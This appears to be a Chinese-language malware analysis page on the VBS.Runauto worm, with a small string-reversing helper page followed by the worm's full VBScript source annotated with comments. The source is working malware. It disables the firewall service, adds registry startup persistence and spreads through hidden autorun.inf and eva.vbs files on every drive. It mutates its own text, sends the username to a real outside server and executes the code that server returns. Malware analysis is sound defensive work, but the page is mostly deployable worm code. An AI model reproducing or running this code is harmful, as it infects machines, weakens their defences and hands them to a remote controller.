VBS.Runauto脚本病毒分析篇

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
html xmlns="http://www.w3.org/1999/xhtml">
head>
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
title>将字符串Reverse/title>
script type="text/javascript">
function _reverse()
{
with(document){
if(rev.order.checked){
revedstr = rev.instr.value.split('').reverse().join('')
write("strong>reversed string:/strong>",revedstr,"br>");
write("strong>unescape string:/strong>",unescape(revedstr),"br>");
write("strong>escape string:/strong>",escape(revedstr),"br>");
}
else{
unescapstr = unescape(rev.instr.value);
revedstr = unescapstr.split('').reverse().join('');
write("strong>uneacape string:/strong>",unescapstr,"br/>");
write("strong>reversed string:/strong>",revedstr);

}
}
}
/script>
/head>
body>
form action="" method="post" name="rev">
input name="order" type="checkbox" value="" />转换顺序（先求反后解码）？br />
input name="instr" type="text" value="请在这里输入" onmousemove="this.select()"/>
input name="" type="button" value="转换" onclick="_reverse()"/>/form>
/body>
/html>

On Error Resume Next
Set fso=CreateObject("scripting.filesystemobject")
Set wshshell=CreateObject(strreverse("wscript.shell"))
Dim dri_list,dri_list0
Dim issend
issend=0
c_time=Date()

' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)。
wshshell.run "net stop sharedaccess",0

Set drvs=fso.drives
sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2
thispath=wscript.ScriptFullName
Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8
scopy=fc.readall
fc.Close
Set fc=Nothing
' 写注册表注册文件sysinfo.reg，注册系统开机自动执行病毒
Call writefile(sysdir"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
")
' 导入注册表sysinfo.reg
wshshell.run "regedit /s sysinfo.reg",0
wscript.sleep 200
fso.deletefile sysdir"\sysinfo.reg",True

' 如果当前运行脚本在系统目录中
If InStr(thispath,sysdir)>0 Then
dri_list0=listdrv()
o_time=left(c_time,3)cstr(Int(Mid(c_time,4,1))-1)Right(c_time,Len(c_time)-4) '回拨时间1年
wshshell.run "cmd /c Date "o_time,0
wscript.sleep 10000
For dri_i=1 to Len(dri_list0)
Call writeauto(Mid(dri_list0,dri_i,1)":\")
Next
wshshell.run "cmd /c Date "c_time,0

' WMI应用查询计算机名，用户名
computername="":username=""
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem")
For Each objcomputer in colcomputers
computername=objcomputer.name
username=objcomputer.username
Next
If username="" Then username="evar"
If InStr(username,"\")=0 Then
username=computername"\"username
End If
do
If issend=0 Then
' 链接外网，获得执行代码
Set xml=CreateObject("msxml2.serverxmlhttp")
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="username,0
' http://202.119.104.100/zzb/是南师大学校党委组织部主办的网站
xml.setrequestheader "user-agent","evar"
xml.send()
If Err.number=0 Then
issend=1
res=xml.responsetext
If ucase(left(res,7))=ucase("Execute") Then Execute res
Else
Err.clear
End If
Set xml=Nothing
End If

dri_list=listdrv()
For dri_k=1 to Len(dri_list)
If InStr(dri_list0,Mid(dri_list,dri_k,1))=0 Then
Call writeauto(Mid(dri_list,dri_k,1)":\")
End If
Next
dri_list0=dri_list
wscript.sleep 1000
loop
Else
wshshell.run "explorer .\",3
wscript.sleep 2000
wshshell.appactivate LCase("我的电脑")
wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ，其实就是关闭窗口
runflag=0

' 获得当前系统进程，WMI的应用
For each ps in GetObject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
If lcase(ps.name)=lcase("wscript.exe") Then
runflag=runflag+1
End If
Next
If runflag>=2 Then wscript.quit
Set sf=fso.GetFolder(sysdir)
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)
wshshell.run "cmd /c Date "f_time,0
wscript.sleep 100
Call writefile(sysdirlcase("\prncfg.vbs"),vs(scopy))
wshshell.run "cmd /c Date "c_time,0
wshshell.run sysdir"\prncfg.vbs"
End If

' 混乱字符串,进行代码变体！
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vslcase(c) Else vs=vsc End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function

' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_listdrv.driveletter End If Next listdrv=tmp_list"
End Function

' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备，如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path"autorun.inf") Then fso.movefolder path"autorun.inf",pathrnd() elseif fso.fileexists(path"autorun.inf") Then fso.deletefile path"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "chr(34)"eva.vbs"chr(34)
autostr="[autorun]"vbcrlf"open="vbcrlfreplace(cmdstr,"*","open")vbcrlfreplace(cmdstr,"*","explore")vbcrlfreplace(cmdstr,"*","find")
' 写入
Call writefile(pathucase("autorun.inf"),autostr)
Call writefile(path"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath，并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub